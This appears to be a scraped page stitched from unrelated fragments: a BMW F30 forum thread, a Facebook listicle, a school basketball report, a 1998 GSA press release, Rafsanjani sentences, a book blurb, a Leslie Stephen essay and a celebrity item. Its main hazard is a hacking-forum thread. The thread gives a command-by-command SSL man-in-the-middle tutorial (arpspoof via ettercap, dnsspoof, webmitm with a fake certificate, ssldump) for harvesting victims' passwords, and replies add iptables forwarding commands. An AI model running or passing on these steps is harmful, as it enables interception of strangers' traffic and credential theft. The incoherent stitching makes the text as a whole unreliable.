I do like my F30 but i must agree its much much to filled with tech goodies. backup camera, heated power seats, navigation, usb.aux connect, hard drive for music/video, keyless entry, "sport/ecopro/comfort" modes... WTF??? and parking/drivers assist??? tisk tisk. i think if alot of f30 owners owned or even drove a 1989 318is, theyd be blown away with how that little e30 makes you feel. with all its 128 HP lol, one of the best cars bmw ever made IMO. cars like that is what still makes people think BMW's are still sports cars. i wish theyd bring one model, just one hardcore drivers car over to the states. e30's, e46's e39's, e60 M5 (GOD THAT SOUND) and the 1M are long forgotten......
Excellent summary, f30jojo. Both points are right on the mark.
Incidentally, I think the USA market alone until recently lacked 320i in the F30 model lineup. 320i was offered in both Canada and Mexico upon the vehicle's introduction in 2012.

I also agree, having put now about 4200 miles on my F30 320i since May 15th, my third BMW three-series. It's a true bimmer, a driver's car, not just a heavily-loaded auto-transmission, status-mobile, for people who used to drive MB, Infiniti, Lexus, and who love all the extras that have nothing to do with the driving experience. One plus may be that some car jackings have been still-born when the thieves found the BMW was a manual; all they could do was to make it stall!
I don't think that BMW is back to basics without a 6-cyl. gasser. It is a question of temper that no 4-cyl. can match.
Of course the E90 323i took over. With a Performance Exhaust, what it misses as sheer pulling power is made up with its amazing sound; on this criteria alone it would be at home in a M-car. Can't wait to hear in person a N20 with a PE, but it won't be as BMW-esque.

My 2003 E46 325i had the same horsepower and torque as my 2013 F30 320i. The new car outperforms the old car. I rest my case, with a big smile on my face.
As a long time BMW driver, including a '73 2002, an '83 320i, '87 325, a couple of M3s, etc., etc., your points are well taken. I also happen to think most Americans have a ludicrous fixation on power (that they'll never use), and the whole phenomenon of what I call "horsepower inflation" is such a waste. Over the years engines have become massively more efficient, but unfortunately people (or Americans anyway) are not really the beneficiary of the increased efficiency, because they demand cars with more and more power, for absolutely no reason. Everyday I see affluent people driving around here with BMWs or MBs with V12 engines, never going above the ridiculously low speed limits or enjoying the capability of their cars in any way. They bought those cars simply because in their mind, they're "luxurious", whatever that means...
However, I do disagree with your assertion that if BMW made a bare bones car, without bluetooth, heated leather seats, power this or that, etc., that it would sell like hotcakes. Like it or not, 2013 isn't like 1983 or 1993. We've become spoiled with all these goodies, and now not only take them for granted, but demand to have them. Unfortunately in the US, over 95% of "sports cars" like BMW and Porsche are sold with automatic transmissions. The vast majority of the people just don't want to shift for themselves anymore. The "hardcore" enthusiasts are few and far in between, and mostly reside in forums such as this. Most people are only interested only in the badge (prestige), comfort, and luxury goodies. BMW understands this, and it's catering to them. The latest 320i is simply an effort by BMW to grab some market share at the lower end of their market, not an attempt to go back to its spartan roots. I don't like it either, but that's unfortunately the way it is, at least here in the US.

The base model price points of the 3 models are somewhat skewed by option prices, but with similarly configured options(and expensive ones), a bump from 320i to 328i engine and transmission is roughly $2-2k, while from 328i to 335i can be less than $2.5k. If BMWNA provides $2k upgrade from 320i base model to get additional 60HP, or $4.5k upgrade to get N55 turbo, I would think many buyers would make different tradeoffs, e.g. $4k for premium package on 320i, or $4.5k for a N55 turbo upgrade. On the subject of MT vs. AT, do note that MT used to be a $1.5k discount, given 60+HP is $2k according to BMWNA fuzzy pricing, a $1.5k subsidy that each MT car provides to AT ones is hard to ignore from long-time MT drivers perspective.
i agree with you on this. there are some basic "luxury" things on a bmw people would expect. like personally i dont need radar cruise control or surround view cameras and nav systems or even really power seats (its not like i adjust my seat well... ever really)
but a stereo and AC and things like that or say power windows are pretty basic and neither destroy the driving dynamics or add very much cost to the car. i mean this isnt a lotus elise or something (which you can delete all those things on if you are hardcore) . if anything its a sedan and being such probably needs to be more practical as sedan buying usually implies. its supposed to be an all around performer so you do want it to have at least some creature comforts for commuting and day to day things.
On the topic of options, I am leery of complicated electronics - not that they arent nice for a time but that they ultimately fail and cost $$$ to replace. I recently replaced the key sensor in my E46 for a painful price. A windshield with a rain sensor is something like 5x the price of a regular windshield. If you're turning cars over regularly I guess this doesnt matter.
As for those manual transmissions: if you read reviews of bimmers, especially of new M5 models, it appears as if BMW goes to some pains to produce manual transmissions for the U.S. market--which, for the M5 anyway, seem to be in considerable demand. As for me, I will never be described as 'shiftless.'
F30 320i. BMW getting back to the basics.
There's a reason why BMW builds cars with idrive, horsepower, cameras, bluetooth, etc. there's also a reason dealers stock cars with these options. Why you ask? Figure it out.

5 Annoying Things People Do on Facebook
People on Facebook can be so ANNOYING, but we're addicted so we'll never give it up. These are our top 5 most offensive sins people make on the popular social network.
- Overly Depressed Status'
We all have this friend. They are always down on their luck. Their job sucks. Their significant other is inattentive. People are rude.
WE FREAKING GET IT ALREADY… they hate life and nothing will ever change that!
Unfriend? YES

- Overly Happy Status'
Life is beautiful. Their dinner was amazing. Their friends are THE BEST.
Does this person know no hardship? They update every five seconds about how COOL everything is ALL THE DAMN TIME.
Unfriend? No, just block their status updates!

- POSTS ABOUT CHILDREN: Status', Photos, Video
We get it! You love your children, your parents love your children, your siblings love your children…. You have the best kids in the world, but WE DON'T CARE.
The photo of your kid on the toilet? BARF. The video of them putting Play Dough up their nose? NOT CUTE.
It's called Facebook, not BABY BOOK!
Unfriend? No, just don't like ANYTHING they post about their kids for your own personal boycott. When you have kids you'll probably do the same thing.

- Oversharing Your Love Life
"I love you so much baby…can't wait to see you tonight! Missing you so much right now."
"MWAH, kisses for my best guy. He is so wonderful. Treats me like a Princess! Loving life."
"Only the best girl friends in the world celebrate Steak and B* Day! Hannah is sooo sexy."
PUL-EEZE. Just because we're home watching "Pawn Stars" on a Friday night with a bottle of wine doesn't mean you are better than us! Over sharing your love life is offensive to all people, single or not.
Unfriend? YES

The semifinal pairings are set for the Allstate Sugar Bowl CYO Basketball Tournament as Rummel and Brother Martin will play at 6 p.m. tonight (Friday), followed by St. Augustine versus Karr at 7:30 p.m. Both games will be played at Jesuit High School.
Rummel, which remains undefeated this year at 7-0, advanced to the semifinals after posting a 43-37 victory over St. Thomas Aquinas on Thursday as Casey Wade tallied 13 second-half points on route to an 18-point evening. St. Thomas Aquinas was led by Stephen Wronkonski's 21 points.
Brother Martin used a long-distance game to jump to a 16-point halftime lead as the Crusaders topped Ellender, 69-46, in their quarterfinal contest. Five second-quarter three-pointers built the early lead which proved insurmountable. Denzel Flemings led all scorers with 18 points, while Schane Rillieux collected 14 - 13 of those in the first half, including three second-quarter three-pointers. The Patriots were led by Houston Chatman's 16 points.

GSA Helps Find Missing Children
May 22, 1998
Contact: April Kaufman
WASHINGTON - In observance of National Missing Children's Day on May 25, the National Center for Missing and Exploited Children commended the U.S. General Services Administration for their commitment to helping reunite missing children with their families through GSA's "Missing Child Alert" program.
This program helped recover 28% of the children it featured in 1997 - twice the national average of children found through all photo distribution programs. Last year, 33 of the 108 children featured in the poster program were recovered. Additionally, six more children who were featured in 1996 were recovered in 1997.
The "Missing Child Alert" program is an information-age effort that puts missing children's faces and information before the public in Federal buildings. GSA downloads the photos and data from the National Center for Missing and Exploited Children's Internet site and digitally enhances and formats them. The photos and data are then transmitted to nearly 900 federally owned and leased buildings.
"The General Services Administration, in its efforts to carry out President Clinton's Executive Memorandum of January 1996, helps to bring images and information about thousands of missing children to the public through their creative displays in federal buildings nationwide," said National Center for Missing and Exploited Children President Ernie Allen in a letter to GSA employees. "There is no better time than National Missing Children's day to convey our thanks for your commitment and dedication to this important cause and to say how much we appreciate your participation throughout the year."
GSA offices across the country are focusing special attention on missing children this week. Activities include a picnic with McGruff the crime dog and distributing "Kinder Passports" to the parents of children who attend federal daycare centers. Along a main highway in Boston, an electronic sign bears the message "Remember Missing and Exploited Children" and the National Center for Missing and Exploited Children's hotline number -- 1-800-THE-LOST.
GSA's "Missing Child Alert" program began soon after President Clinton issued the Executive Memorandum directing federal agencies to post notices of missing children in government buildings.

In fact, Rafsanjani has flipped back and forth between reformist and conservative camps whenever it has suited him.
Then, Moussavi was prime minister, Ali Khamenei was president and Rafsanjani commanded the Revolutionary Guards.
By all accounts, Rafsanjani has been the main force behind the scenes trying to annul the elections.
A few years ago, when Forbes magazine published a special report on "Millionaire Mullahs," it was Rafsanjani who made the cover.
They then used those positions to help Ahmadinejad defeat Rafsanjani [who ran again] in 2005 and become president.
Rafsanjani, who is still politically active, played an important part.
Nevertheless, it is no exaggeration to say that whither Rafsanjani goes, so goes the future of Iran.
The last president to have a real impact on policy was Rafsanjani (1989 to 1997).
It is difficult to describe the fear and contempt with which a great many Iranians hold Rafsanjani.
The truth is no one knows what to expect from Rafsanjani on Friday.

About the Book
Why can't you remember where you put your keys? Or the title of the movie you saw last week? Or the name of your favorite restaurant?
Acclaimed journalist Cathryn Jakobson Ramin takes readers on a lively journey to explain what happens to memory and attention in middle age. Along the way, she turns up fresh scientific findings, explores the dark regions of the human brain, and hears the intimate confessions of high-functioning midlife adults who—like you—want to understand exactly what's going on upstairs.
Anyone older than forty knows that forgetfulness can be unnerving, frustrating, and sometimes terrifying. With compassion and humor, Jakobson Ramin sets out to discover what midlife forgetfulness is all about—from the perspectives of physiology, psychology, and sociology. Relentless in her search for answers to questions about her own unreliable memory, she explores the factors that determine how well—or poorly—one's brain will age. She consults experts in the fields of sleep, stress, traumatic brain injury, hormones, genetics, and dementia, as well as specialists in nutrition, cognitive psychology, and the burgeoning field of drug-based cognitive enhancement. The landscape of the midlife brain is not what you might think, and to understand its strengths and weaknesses turns out to be the best way to cope.
Jakobson Ramin's reporting of the stories of a wide array of midlife men and women will resonate with readers. Her audience will glean spectacular insight into how to elicit the very best performance from a middle-aged brain. A groundbreaking work that represents the best of narrative nonfiction, this is a timely, highly readable, and much-needed book for anyone whose memory is not what it used to be.

Peaks and Valleys: Leslie Stephen, MountaineerBy Alex Siskin
Leslie Stephen is best known today as the father of Virginia Woolf and Vanessa Bell. But in his day, Stephen was a distinguished critic and author in his own right. And, not incidentally, a pioneering mountaineer who made early and important contributions to the literature of what is known as the golden age of alpinism.
Leslie Stephen arrived in Cambridge University in 1851 with a fair amount of emotional and intellectual baggage. His father, James Stephen, was the colonial undersecretary, a pretty big job at the height of the British Empire. His older brothers, Herbert and James Fitzjames, had preceded him at Cambridge. Herbert had recently died of a fever in Dresden, on his way home from Constantinople, a tragedy that rocked the family confidence and strength, especially that of the overworked elder James, who began heading down a steady decline. James Fitzjames, meanwhile, quickly stepped with authority into the role of eldest son. He was an Apostle at Cambridge (Leslie was not), and moved swiftly to follow in his father's footsteps toward a distinguished legal career. James Stephen played a central role in abolishing slavery in the British Empire; James Fitzjames Stephen went on to singlehandedly write the criminal code of India.
Leslie Stephen was cut from different cloth: he was a skinny weakling who had become addicted to narrative poetry in early adolescence. Because he was clearly the most sensitive of James Stephen's sons, his father marked him for the clergy, and he would indeed be ordained in the Anglican Church. Read More

Interesting tutorial, I usually just use ettercap's SSL capabilities.
Hey guys
This is my method of sniffing and decrypting ssl traffic on a network.
Before reading on this guide is for educational purposes only. I take no responsibility from what people do with this info.
First thing is to get fragrouter. I don't know if you can use other tools provided with the backtrack, there are 100 ways to skin a cat and this is just my way.
There are lots of things that you can do with fragrouter but we are going to use fragrouter to setup IP forwarding.
We do this with this command :
Squash that window and put it to one side. Now open another shell and we will start dnsspoof with this commandCode:fragrouter -B1
Again put that window to one side and lets load up webmitm. Webmitm will issue our ssl cert to the victim so we can decrypt the traffic we capture.Code:dnsspoof -i ath0 (or whatever network interface you are using)
Start webmitm by typing
Now we can start the arp spoof. To start ettercap typeCode:webmitm -d
Ok now we are rolling next thing is to sniff the traffic. There are a few things you can do know like using ettercap filters and adding urls from metasploit, (Maybe next tut ) and lots of other things. But we are intrested in the ssl traffic so I use wireshark to save the data into a .cap file.Code:ettercap -T -M arp:remote /router addy/ /victim addy/
You can find wireshark in Backtrack >>> Privilege Escalation >>> Sniffers.
Now we have loaded wireshark lets start capturing packets. Go to Capture >>> Options and setup what network card you are using and then hit start.
Ok you should now be capturing packets addressed to your victims addy. Once you have captured enough, stop wireshark and save the data to your root directory.
Now to decrypt the SSL data.
You should first download ssldump:
ssldump is going to decrypt our sniffed ssl data using our fake ssl cert we issued to the victim. We do this by opening up a shell and typing:
And you are done, all the ssl data will be saved to a file called out in your root dir. Use what you like to search it for passwords etc.Code:ssldump -r your.cap -w webmitm.crt -d > out
There we go! nice and simple for everybody to understand.
Interesting tutorial, I usually just use ettercap's SSL capabilities.
Quick question.. trying to sniff https traffic on my own network.. it looks like the websites are being sent compressed. I know ettercap can change that with filtering but when it passes through ettercap it is still encrypted with SSL. Is there a better way to do this?
Also, is there an SSL decrypted out there that dumps the traffic back into a pcap capture format? I looked around on google and can't find one.
I have been working on this for some time now. This morning in finally got ssl mitm working to the point that every site i tested dumped the user credentials. Unfortunately I have been unsuccessful in replicating this attack. Below are the commands I used for my successful attack. I have tried so many different combinations of this attack that Im starting to get frustrated.
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp dport 443 -j REDIRECT
iptables -A FORWARD -j ACCEPT
webmitm -d
ettercap G
arp poision
start sniffing
What am I missing? Any help on this would be greatly appreciated.
Note: my ettercap config has the iptables uncommented
NM ill do my homework before i ask already asked questions...
HUmm interesting... Does it work in offline mode? If it is not possible. do you knoww a way to make it off line?
apparently you can use ettercap to sniff and mitm two seperate subnets.
I had a Wireless AP honeypot -> ath0 -> laptop -> eth0 -> internet setup for demo-ing to our employees how unsafe cafes are and to never just click "Accept" (though i doubt it did any good...) and i would always enable the forwarding AFTER starting ettercap:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
This works intermittently but worked for Gmail which was good enough, they got the message (those that werent napping).
Do not enabling packet forwarding via the kernal, i.e. /proc/sys/net/ipv4/ip_forward. Ettercap does this for you if you enable it in the kernel you will flood the network with duplicate packets. If you want to use the kernel than disable packet forwarding in ettercap. If you run both you'll cause havoc with duplicate, unnecessary packets.
When used on a gateway, you have no choice.
from man ettercap:
"The kernel ip_forwarding is always disabled by ettercap. This is done to prevent to forward a packet twice (one by ettercap and one by the kernel). This is an invasive behaviour on gateways. So we recommend you to use ettercap on the gateways ONLY with the UNOFFENSIVE MODE ENABLED. Since ettercap listens only on one network interface, launching it on the gateway in offensive mode will not allow packets to be rerouted back from the second interface. "
So if used on two separate subnets (see my previous post), ie gateway, and you need it to be offensive, then you need the kernel to forward, am i wrong?

Showing some love to her Spanish fans, Irina Shayk showed up at a promotional event for Sneakers shoes in Madrid today (October 31).
The Russian stunner looked simply marvelous in a black dress with gold accents as she smiled for the shutterbugs along with a hunky male model.
In a recent interview, Irina lamented the fact that she has to see herself on television due to her gig on "Russia's Next Top Model."
Shayk shared, "I am very critical to myself. When I watch [the show], I am like, 'Oh my God, what am I talking about? I should not say that.'"
"It's very hard to see myself on TV judging someone else because I am a person who judges myself every time and [tries] to be better."
